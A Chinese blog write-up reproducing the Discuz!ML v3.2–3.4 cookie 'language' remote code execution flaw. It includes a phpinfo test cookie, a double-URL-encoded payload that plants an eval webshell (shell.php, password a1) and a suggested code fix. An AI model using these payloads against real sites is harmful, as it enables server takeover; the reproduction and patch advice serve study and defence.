Discuz !ML V3.X漏洞复现

前言:前些天一直在学习新知识,今天抽空做个文档整理,记录下学习情况。

废话不多说,正文开始。

0X01 漏洞介绍

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的:cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行。

Ps:Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区.该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。

Discuz! ML 下载地址:https://discuz.ml/download

 

0X02 影响版本

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

 

0X03 漏洞复现

1、phpinfo验证

访问主页,burp抓包后,修改cookie值中的language参数

Ov1T_2132_language='.phpinfo().';

2、getshell

将cookie中的language字段值修改为以下内容

原语句:<?php  eval($_POST["a1"]);?>

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

注意这里的url编码,因为使用了urldecode进行解码,而浏览器本身会对一些字符进行url编码,所以这里进行了二次编码进行poc的编写,若有理解不当的地方,还请指明。

访问网站首页会在根目录下生成木马文件:shell.php,密码为a1

使用蚁剑进行连接,成功。(一开始用的菜刀,咋都连不上,以为是自己的问题,后来发现是工具的问题,崩溃。。。。)

这里放一个另外个网址的图,自己搭的环境忘记截图了(懒得截了,手动滑稽)

0X04 修复建议

建议修改source/function/function_core.php 644行为:

/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

删除可控变量。

 

参考文章:

https://mp.weixin.qq.com/s/DELNgYJtYVgGURM3RX5gnA

https://mp.weixin.qq.com/s/fTk9BC8OEZY91_pCZcEzGQ

https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值